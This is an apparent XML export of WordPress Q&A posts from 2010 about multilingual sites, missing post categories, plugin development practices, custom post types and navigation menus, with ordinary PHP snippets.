  <row Id="721" PostTypeId="1" AcceptedAnswerId="722" CreationDate="2010-08-23T10:58:46.123" Score="0" ViewCount="267" Body="&lt;p&gt;I am running wordpress with &quot;WPML Multilingual CMS&quot; so that it has multiple language versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a function used with &lt;code&gt;add_action('template_redirect',&amp;lt;functionname&amp;gt;)&lt;/code&gt;  I need to find out what the current language is. What should I call?&lt;/p&gt;&#xA;" OwnerUserId="255" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-23T19:38:07.127" LastActivityDate="2011-06-26T13:39:43.527" Title="Checking current language in a function" Tags="&lt;3.0&gt;&lt;multi-language&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="722" PostTypeId="2" ParentId="721" CreationDate="2010-08-23T11:06:34.673" Score="1" ViewCount="" Body="&lt;p&gt;I have no experience with the plugin whatsoever, but from a quick scout of their site, it looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ICL_LANGUAGE_CODE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will give you the current language. Worth a try, anyway!&lt;/p&gt;&#xA;" OwnerUserId="119" LastActivityDate="2010-08-23T11:06:34.673" CommentCount="1" />
  <row Id="723" PostTypeId="2" ParentId="668" CreationDate="2010-08-23T11:12:51.357" Score="2" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Repository Configuration&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The more and more I use Linux Derivates, the more I wonder why things are that tightly coupled to the webmasters of wordpress.org. The Repository for example. There only is one. What would be cooler for supporters and admins to configure their own Repository? So to offer Add-Ons like Themes and Plugins they take care of for their users incl. providing updates etc. .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example with Themes, once made for a customer, she/he is interested in that theme - and not any other other theme. So asking for updates, an own repository would make the workflow with the customer much easier, like doing the updates on a dev system and then, when it's working, publishing the latest version via the repository.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But right now, the WordPress Repository configuration and with it the update functionality is totally limited to either wordpress.org or to those who hack in a comparable system which is not very clever, because most part of the repository feature is already implemented and there is no need for everybody to do stuff that might break other things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A main problem is that it's just locked down on wordpress.org. I strongly dislike &lt;a href=&quot;http://en.wikipedia.org/wiki/Vendor_lock-in&quot; rel=&quot;nofollow&quot;&gt;vendor lock-in&lt;/a&gt; in software, especially not with Free Software. That's making the known benefits of free software become more and more obsolete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related Ticket: &lt;a href=&quot;http://core.trac.wordpress.org/ticket/13067&quot; rel=&quot;nofollow&quot;&gt;#13067 - Configuration of Plugin and Theme Repository/ies&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like that core developers are against this - obviously for various reasons. But in the end this just results in not offering a functionality to all users that is offered to wordpress.org. This in no way weights against the benefits for professional wordpress supporters and admins as well as sysadmins in local networks. So why to limit something that could be unlimited by default?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If wordpress core is not considering to integrate this, I think it should be possible to provide this by a collectively owned plugin so that the existing functionality becomes usable by everybody while remaining compatible to each other.&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-08-23T11:23:01.963" LastActivityDate="2010-08-23T11:23:01.963" CommunityOwnedDate="2010-08-23T11:12:51.357" />
  <row Id="724" PostTypeId="1" AcceptedAnswerId="786" CreationDate="2010-08-23T11:17:09.307" Score="0" ViewCount="163" Body="&lt;p&gt;I had to modify a published post and for some unknown reason, it removed the categories the post was in. I tried reassigning them, but it does not work: wordpress does not save the categories, so the post ends in the default &quot;unclassified&quot; category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked and it happens also if I create a new post. So it's a quite strange issue. I desactivated my caching plugin, to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea what provokes this bug?&lt;/p&gt;&#xA;" OwnerUserId="82" LastActivityDate="2010-08-23T22:54:43.393" Title="Cannot add / edit categories to a post anymore" Tags="&lt;categories&gt;&lt;posts&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="725" PostTypeId="1" CreationDate="2010-08-23T11:34:19.730" Score="3" ViewCount="540" Body="&lt;p&gt;What is the best way to have multiple languages on a site.  I was thinking of using WP3.0 and then having each language of the site being a seperate blog in a sub directory.  I.E.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;example.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example.com/fr/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example.com/de/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then just being able to have one theme that all the sites share.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a better way to do this do you think?&lt;/p&gt;&#xA;" OwnerUserId="151" LastActivityDate="2011-03-07T06:18:40.190" Title="What are options are there to implement a multi language site" Tags="&lt;multisite&gt;&lt;multi-language&gt;" AnswerCount="6" CommentCount="0" FavoriteCount="2" />
  <row Id="726" PostTypeId="2" ParentId="724" CreationDate="2010-08-23T11:38:01.457" Score="1" ViewCount="" Body="&lt;p&gt;From what you describe you experience a problem that looks like a &lt;em&gt;local problem&lt;/em&gt; on your site. Therefore the assumption is very likely that it is a configuration issue on your site and not a bug. Bug would mean this is a defect in the software. If it would be a bug, everybody using wordpress would run into this problem (or at least a great share).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because this is not the case (for example I still can do what you describe as broken on my Blog), you need to find the problem within your blogs configuration. For example, please switch your site to the default theme and deactivate all plugins. Then test again, if you can or can not assign categories to posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you still can not add categories to posts your site is very likely to be broken in configuration. Consider to contact professional wordpress support then to drill down this on your host because the reason of your problem can not be genreally found out w/o taking a look into your files and database(s).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can add categories after deactivating all plugins and themes, then it's highly likely that one of the Add-Ons is breaking stuff. You can now use try-and-error to find out which one of the Ad-Ons is causing this. It might be a single one (so to activate one and deactivating all others to find out) or a combination of many (so to activate group of plugins and then to test for functionality to find out).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even these problems do occur often with third-party plugins, there is no tool or help build into wordpress that makes looking for a destructive plugin easier than doing a manual, one-by-one search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some trick at least is to just rename the plugin directory which temporarily prevents worpdress from loading all active plugins. Doing so makes looking for this being a plugin issue much faster than clicking through the plugin configuration in the admin.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-08-23T11:38:01.457" CommentCount="2" />
  <row Id="727" PostTypeId="2" ParentId="725" CreationDate="2010-08-23T11:46:35.687" Score="2" ViewCount="" Body="&lt;p&gt;Wordpress has no bi/multi-language feature built in by default. Instead, by design it supports the content to be in &lt;em&gt;one language&lt;/em&gt; (so not knowing language). Using multiple blogs for multiple languages might be a good adoption of that design.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other road would be to extend the site with Add-Ons like plugins and themes that have multi-language features built-in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Wordpress Documentation offers some information about &lt;a href=&quot;http://codex.wordpress.org/Multilingual_WordPress&quot; rel=&quot;nofollow&quot;&gt;Multilingual WordPress&lt;/a&gt; making assumptions, pro/con comparisons and plugin/theme recommendations there. This scopes alternative approaches like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Manage multilingual posts in one post per language&lt;/li&gt;&#xA;&lt;li&gt;Store all languages alternatives for each post in the same post&lt;/li&gt;&#xA;&lt;li&gt;Manage translations on the generated page instead of using a post context&lt;/li&gt;&#xA;&lt;li&gt;Plugins that direct you to external translation services&lt;/li&gt;&#xA;&lt;li&gt;Plugins that link together separate WordPress installations for each language by pinging back and forth&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-08-24T19:24:25.163" LastActivityDate="2010-08-24T19:24:25.163" />
  <row Id="728" PostTypeId="2" ParentId="704" CreationDate="2010-08-23T11:55:29.323" Score="1" ViewCount="" Body="&lt;p&gt;This question is hard to answer by me (and probably anybody else), because I did not made that decision. So you must ask the person who decided to use subversion for the wordpress project to find out more in specific. I don't know the name of the person who made the decision, so sorry for not being very helpful.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-08-23T11:55:29.323" CommentCount="1" />
  <row Id="729" PostTypeId="2" ParentId="715" CreationDate="2010-08-23T12:08:57.460" Score="6" ViewCount="" Body="&lt;h2&gt;Decouple from Wordpress core code&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;A Plugin &lt;em&gt;should&lt;/em&gt; &lt;strong&gt;reduce the impact of the Wordpress API to the needed minimum&lt;/strong&gt; so to seperate plugin code from wordpress code. This reduces the impact of changes within the Wordpress codebase on the plugin. Additionally this improves the cross-version compatibility of your plugin code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This does not mean to not use Wordpress functions (use them, as &lt;a href=&quot;http://wordpress.stackexchange.com/questions/715/objective-best-practices-for-plugin-development/795#795&quot;&gt;&lt;em&gt;Re-Use existing functions&lt;/em&gt;&lt;/a&gt; suggests), but not to mesh your code with wordpress functions too much but to seperate your plugins business logic from wordpress functionality.&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-08-25T20:17:59.917" LastActivityDate="2010-08-25T20:17:59.917" CommunityOwnedDate="2010-08-23T12:08:57.460" CommentCount="9" />
  <row Id="730" PostTypeId="2" ParentId="715" CreationDate="2010-08-23T13:03:04.170" Score="22" ViewCount="" Body="&lt;h1&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/352&quot;&gt;Use Actions and Filters&lt;/a&gt;&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;If you think people would like to add or alter some data: &lt;strong&gt;provide &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/apply_filters&quot; rel=&quot;nofollow&quot;&gt;apply_filters()&lt;/a&gt; before returning&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;P.S. One thing I find a bit disappointing and that your question addresses is the percentage of plugins that are designed only for end-users, i.e. that have no hooks of their own. Imagine if WordPress were designed like most plugins? It would be inflexible and a very niche solution.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Maybe things would be different if WordPress were to have the ability to auto-install plugins on which other plugins depended? As it is I typically have to write a lot of the functionality I need from scratch because clients want things a certain way and the available plugins, while 90% there don't allow me the flexibility to update the remaining 10%.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;I really do wish those leading the WordPress community would identify a way to ensure that plugins are rewarded for following best practices (such as adding in hooks for other developers) much like good answers are rewarded on a StackExchange site.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Let's take an example from &lt;a href=&quot;http://wordpress.stackexchange.com/questions/352&quot;&gt;another question&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Example: I want to do something in my plugin when someone retweets an article. If there was a custom hook in whatever the popular retweet plugin is that I could hook in to and fire off of, that would be great. There isn't, so I can modify their plugin to include it, but that only works for my copy, and I don't want to try to redistribute that.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h2&gt;Related&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/715/objective-best-practices-for-plugin-development/789#789&quot;&gt;Offer Extensible Forms&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="172" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-01-10T07:36:20.057" LastActivityDate="2011-01-10T07:36:20.057" CommunityOwnedDate="2010-08-23T13:03:04.170" CommentCount="1" />
  <row Id="731" PostTypeId="2" ParentId="715" CreationDate="2010-08-23T13:08:31.413" Score="15" ViewCount="" Body="&lt;h2&gt;Ensure Plugins Generate No Errors with WP_DEBUG&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Always test your plugins with &lt;a href=&quot;http://codex.wordpress.org/Editing_wp-config.php#Debug&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;&lt;code&gt;WP_DEBUG&lt;/code&gt;&lt;/strong&gt;&lt;/a&gt; turned on and ideally have it turned on throughout your development process. A plugin should not throw ANY errors with &lt;code&gt;WP_DEBUG&lt;/code&gt; on. This includes deprecated notices and unchecked indexes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To turn debugging on, edit your &lt;code&gt;wp-config.php&lt;/code&gt; file so that the &lt;code&gt;WP_DEBUG&lt;/code&gt; constant is set to &lt;code&gt;true&lt;/code&gt;. See the &lt;a href=&quot;http://codex.wordpress.org/Editing_wp-config.php#Debug&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Codex on Debug&lt;/strong&gt;&lt;/a&gt; for more details.&lt;/p&gt;&#xA;" OwnerUserId="11" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-25T20:13:34.430" LastActivityDate="2010-08-25T20:13:34.430" CommunityOwnedDate="2010-08-23T13:08:31.413" CommentCount="3" />
  <row Id="732" PostTypeId="2" ParentId="218" CreationDate="2010-08-23T13:10:00.710" Score="2" ViewCount="" Body="&lt;p&gt;Personally, I think it is a fun exercise to install SVN / GIT and manage it,  but if you can swing $15 per month,  Beanstalk is worth every penny.  They manage the whole server for you.  &lt;a href=&quot;http://beanstalkapp.com/&quot; rel=&quot;nofollow&quot;&gt;http://beanstalkapp.com/&lt;/a&gt;  The FTP deployment tools are awesome. Mine automatically deploys the version to my staging server when I commit for example&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way to get some personal file versioning is to use drop box.   Every time you save a file into your dropbox it tracks the version, and you can restore to any previous version later on..  You and another developer, or group can share a drop box folder.   Granted this does not do trunks, merges, etc, but it does make it very easy for a distributed team to work on one website.  You just can not really work on the exact same files at once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We keep our SVN working copy in dropbox, then I commit the files when the time is write.  My designers will not commit files or deal with SVN, So this is the comprimise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I prefer SVN because I do not need all the trunking that GIT is so great for and there are better GUI tools available of SVN.   &lt;/p&gt;&#xA;" OwnerUserId="375" LastActivityDate="2010-08-23T13:10:00.710" />
  <row Id="733" PostTypeId="1" AcceptedAnswerId="772" CreationDate="2010-08-23T14:04:50.537" Score="6" ViewCount="661" Body="&lt;p&gt;Hay all, I'm playing around with WordPress 3.0 and two (2) of the new features, &lt;em&gt;Custom Post Types&lt;/em&gt; and the &lt;em&gt;Menu Editor&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've started off by creating a new post type called &quot;&lt;code&gt;products&lt;/code&gt;&quot;, as you've guessed, this list products.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the bog standard template and I'm creating a new menu to replace the top nav. As far as I can see I can only add certain &lt;em&gt;&quot;products&quot;&lt;/em&gt; to it, I cannot add a &lt;em&gt;&quot;archive&quot;&lt;/em&gt; of products. What I'm trying to do is add a link to the menu to go to a page which lists ALL products.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea how to do this?&lt;/p&gt;&#xA;" OwnerUserId="376" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-23T19:42:17.103" LastActivityDate="2011-05-18T14:35:39.587" Title="Adding an Archive of Posts to the Navigation Menu in WordPress 3.0" Tags="&lt;custom-post-types&gt;&lt;custom-menus&gt;" AnswerCount="4" FavoriteCount="2" />
  <row Id="734" PostTypeId="2" ParentId="725" CreationDate="2010-08-23T14:19:02.397" Score="3" ViewCount="" Body="&lt;p&gt;I've built several multilingual sites in WordPress, and to be honest, WP just doesn't do it very well, even using plugins. Either plugins offer limited solutions that require a lot of work on the end-users' part, or they only offer limited languages. (Note that I'm ignoring plugins that offer automatic machine translations.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best solution I've found so far is &lt;a href=&quot;http://wordpress.org/extend/plugins/qtranslate/&quot; rel=&quot;nofollow&quot;&gt;qTranslate&lt;/a&gt;. It allows users to create and edit posts in multiple languages and offers good options for when a particular language isn't available. It's relatively user-friendly and offers a few template tags to help readers switch languages. Its weakness is that it seperates the languages in the database using XML, and clean-up can be rough if you want to switch to another system. This is going to be the case no matter which plugin you use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/sitepress-multilingual-cms/&quot; rel=&quot;nofollow&quot;&gt;WPML&lt;/a&gt; isn't bad if you're only using widely spoken languages, but it's weakness is that you can't add languages if you need something different (like Luganda, for instance). It does, however, have some pretty good template tags for customization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/gengo/&quot; rel=&quot;nofollow&quot;&gt;Gengo&lt;/a&gt; used to be excellent, but is no longer maintained.&lt;/p&gt;&#xA;" OwnerUserId="377" LastEditorUserId="11" LastEditorDisplayName="" LastEditDate="2010-08-23T14:58:17.323" LastActivityDate="2010-08-23T14:58:17.323" CommentCount="1" />
  <row Id="735" PostTypeId="2" ParentId="715" CreationDate="2010-08-23T14:39:12.340" Score="8" ViewCount="" Body="&lt;h2&gt;Protect Plugin Users Privacy&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;(Previously: Anonymous API Communication)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a plug-in communicates with an external system or API (e.g. some Webservice), it should do so anonymously or provide the user with an anonymous option that ensures that no data related to the user of the plugin leaks to a second party uncontrolled.&lt;/p&gt;&#xA;" OwnerUserId="46" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-08-23T20:17:46.453" LastActivityDate="2010-08-23T20:17:46.453" CommunityOwnedDate="2010-08-23T14:39:12.340" CommentCount="2" />
  <row Id="736" PostTypeId="2" ParentId="733" CreationDate="2010-08-23T14:53:01.610" Score="3" ViewCount="" Body="&lt;p&gt;This is not natively supported by WordPress. However, you could add this to your functions.php file and it would work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function give_me_a_list_of_products(){&#xA;  add_rewrite_rule( 'products/?$', 'index.php?post_type=products', 'top' );&#xA;}&#xA;&#xA;add_action( 'init', 'give_me_a_list_of_products' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That will give you example.com/products/ as a list of products. From there, you just add a custom link to your menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you want true archiving (by month, year, etc.) with feeds, you need more detailed code. If your 'products' are a non-hierarchical post type (seems like they should be), you can use my plugin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.wordpress.org/extend/plugins/custom-post-permalinks/&quot; rel=&quot;nofollow&quot;&gt;http://www.wordpress.org/extend/plugins/custom-post-permalinks/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That gives you extra fields to customize your permalinks (like you can with blog posts), and will give you the ability to customize permalinks based on category, author, month, year, post type, etc.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-08-23T14:53:01.610" CommentCount="1" />
  <row Id="737" PostTypeId="1" AcceptedAnswerId="739" CreationDate="2010-08-23T15:05:15.907" Score="3" ViewCount="177" Body="&lt;p&gt;I'd like to add a new area on a WordPress 3.0 site that &lt;strong&gt;contains a new video from YouTube each day&lt;/strong&gt;. This video would be manually picked, and manually added each day. I'm not sure how to properly set this up though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current thought-process is that I would create a category called &quot;&lt;em&gt;videos&lt;/em&gt;,&quot; and then add a new post in that category each day placing the embed code as the post-body. This seems like ugly hackery though, so I'm open to a better and more leaner solution. Ideally I would have a simple admin-side form where I would put in a title, and the link to the YouTube video (converting the link to an embed code on my own programmatically).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does WordPress 3.0 accomodate odd post types like this pretty well? What should I read to gain a better understanding of how I would accomplish things like &lt;em&gt;&quot;video of the day&quot;&lt;/em&gt;, and &lt;em&gt;&quot;daily cartoons&quot;&lt;/em&gt;?&lt;/p&gt;&#xA;" OwnerUserId="92" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-23T19:25:49.710" LastActivityDate="2010-08-23T19:33:24.827" Title="Implementing &quot;Video of the Day&quot; Feature?" Tags="&lt;custom-post-types&gt;&lt;videos&gt;&lt;youtube&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" />
  <row Id="738" PostTypeId="1" AcceptedAnswerId="770" CreationDate="2010-08-23T15:10:18.190" Score="6" ViewCount="146" Body="&lt;p&gt;I have a client who runs 8 different blogs, currently on 8 separate installations of WordPress.  I'm trying to encourage them to move to a single MS installation instead to make it easier (mostly on me) to maintain the different sites, themes, and mix of plug-ins.  Unfortunately, I shied away from MU for the longest time, and now I have no idea where to start with MS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used &lt;a href=&quot;http://wp-hive.com/&quot; rel=&quot;nofollow&quot;&gt;WP-Hive&lt;/a&gt; in the past because it allowed me to use multiple domains with one installation of WordPress (I don't like sub-folder blogs or sub-domains sites).  This client project, if we go forward, will be a similar setup - multiple single-domain blogs hosted on a single WordPress installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what steps should I follow to&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Set up Multisite​ - I know how to install it, but how should I configure it considering I want to use it for separate domains, not sub-folders or sub-domains?&lt;/li&gt;&#xA;&lt;li&gt;Move content - I assume the regular WP export-import process will work?&lt;/li&gt;&#xA;&lt;li&gt;Map the domains to their new home on the new installation?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-08-23T19:48:29.523" Title="How do I transition multiple installations to a single Multisite installation?" Tags="&lt;multisite&gt;&lt;configuration&gt;&lt;setup&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="6" />
  <row Id="739" PostTypeId="2" ParentId="737" CreationDate="2010-08-23T15:15:35.893" Score="2" ViewCount="" Body="&lt;p&gt;I'd recommend using a &lt;a href=&quot;http://codex.wordpress.org/Custom_Post_Types&quot; rel=&quot;nofollow&quot;&gt;custom post type&lt;/a&gt; to handle this.  You can add the custom post type and set it to only accept the YouTube url as content.  Then you can display the &quot;most recent&quot; post from this setup with a custom loop on your home page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are a couple other good resources to start with:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://kovshenin.com/archives/custom-post-types-in-wordpress-3-0/&quot; rel=&quot;nofollow&quot;&gt;Description of custom post types&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://thinkvitamin.com/dev/create-your-first-wordpress-custom-post-type/&quot; rel=&quot;nofollow&quot;&gt;Great tutorial&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-08-23T15:15:35.893" />
  <row Id="740" PostTypeId="1" CreationDate="2010-08-23T15:20:51.553" Score="1" ViewCount="225" Body="&lt;p&gt;I'd like to have a sidebar widget that has my latests featured posts, which would be marked as a category or tag.  Is there a way to do this with the new custom menus, and if not, is there a plug-in that can accomplish this?&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2010-08-23T15:41:15.453" Title="How to make a custom menu based on a category or tag?" Tags="&lt;custom-menus&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="741" PostTypeId="1" AcceptedAnswerId="761" CreationDate="2010-08-23T15:31:38.690" Score="0" ViewCount="327" Body="&lt;p&gt;I have some utility categories that are only used by my theme. To help separate these categories I place them all as children of uncategorized.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make sure that any call to wp_list_categories() excludes the child categories under &quot;uncategorized&quot; cat_id = 1?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want this to work even if the call wp_list_categories() comes from a third party plugin that I don't control. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps a filter I can place in functions.php that intercepts any call for the wp_list_categories() function to attach the exlude_tree = '1' to the arguments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, in my own categories plugin widget, I use this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;ul&amp;gt;&#xA;&amp;lt;?php&#xA;    $cat_args['title_li'] = '';&#xA;    $cat_args['exclude_tree'] = 1;&#xA;    wp_list_categories(apply_filters('widget_categories_args', $cat_args));&#xA;?&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-23T18:05:10.973" LastActivityDate="2010-08-23T22:53:29.853" Title="Filtering Children of the “uncategorized” Category out of the Loop?" Tags="&lt;categories&gt;" AnswerCount="3" />
  <row Id="742" PostTypeId="2" ParentId="740" CreationDate="2010-08-23T15:41:15.453" Score="2" ViewCount="" Body="&lt;p&gt;You can absolutely have a sidebar widget that shows posts from a certain category.  First, set up your new menu.  Click on Menus under Appearances. Then click the plus button towards the top right, and give your new menu a name:&#xA;&lt;img src=&quot;http://imgur.com/BAUsL.jpg&quot; alt=&quot;new menu&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you've clicked Create Menu, you'll be taken to a screen to choose what appears in that menu.  Towards the bottom left, you'll see a box labeled categories, with the option to choose from most used or all categories, and to search your categories.  Go ahead and choose the category or categories you want to include in this menu, and click Add to Menu (and be sure to click Save Menu at the top right when you're done!):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/vVXuV.jpg&quot; alt=&quot;choosing categories&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, head over the Widgets screen (also under appearances).  There, drag the Custom Menu widget over to a sidebar area, give it a title if you'd like and choose your new menu from the drop down.  Don't forget to click save!!&#xA;&lt;img src=&quot;http://i.stack.imgur.com/8qPSN.jpg&quot; alt=&quot;adding widget&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2010-08-23T15:41:15.453" CommentCount="3" />
  <row Id="743" PostTypeId="2" ParentId="741" CreationDate="2010-08-23T15:52:40.170" Score="0" ViewCount="" Body="&lt;h3&gt;New answer based on OP comments:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;There isn't a filter or hook you can use with &lt;code&gt;wp_list_categories&lt;/code&gt;, but there &lt;em&gt;is&lt;/em&gt; a filter on the &lt;code&gt;get_categories&lt;/code&gt; function that it calls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;get_categories&lt;/code&gt; function makes this call:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$taxonomy = apply_filters( 'get_categories_taxonomy', $args['taxonomy'], $args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;$args&lt;/code&gt; variable in this case is an array constructed originally from &lt;code&gt;wp_list_categories&lt;/code&gt; and then merged with &lt;code&gt;'taxonomy' =&amp;gt; 'category'&lt;/code&gt;.  So you should be able to add a filter here to always set &lt;code&gt;exclude_tree='1'&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just be sure to specify that your function takes two parameters:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function exclude_children($taxonomy, $args) {&#xA;    $args['exclude_tree'] =&amp;gt; '1';&#xA;}&#xA;&#xA;add_filter('get_categories_taxonomy', 'exclude_children', 10, 2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="46" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2010-08-23T16:52:13.683" LastActivityDate="2010-08-23T16:52:13.683" CommentCount="4" />
  <row Id="744" PostTypeId="2" ParentId="698" CreationDate="2010-08-23T16:00:32.863" Score="2" ViewCount="" Body="&lt;p&gt;The other place to suggest things is the &lt;a href=&quot;http://wordpress.org/extend/ideas/&quot; rel=&quot;nofollow&quot;&gt;WordPress Ideas&lt;/a&gt; site. Really it is a place to request core functionality, but if you posted an idea there it could accumulate stars which might convince a plugin dev to take it on. &lt;/p&gt;&#xA;" OwnerUserId="175" LastActivityDate="2010-08-23T16:00:32.863" />
  <row Id="745" PostTypeId="2" ParentId="725" CreationDate="2010-08-23T16:09:01.153" Score="1" ViewCount="" Body="&lt;p&gt;I think it depends on what kind of multilingual website you have. I am, for example, currently building a 6-language website with slightly different themes for each language (think Arabic).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried individual websites per language by sticking them in different directories, but it is quite a bit of a main to maintain and upgrade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am currently setting it up as WP Network (MultiSite). This allows you to share plugins, themes and - quite importantly - user IDs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You do have some restrictions - all mini-sites (except for root) are on the same level down, exactly one level down from the root. So, you would have to have /en, /fr, /de and redirect the default home page, maybe with a custom home.php template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additional issues are the same as with multiple blogs, separate taxonomies, media, etc. On the other hand, no messing around with hiding other-language posts in archive, RSS feed, etc. This might be good or bad, depending on your requirements. 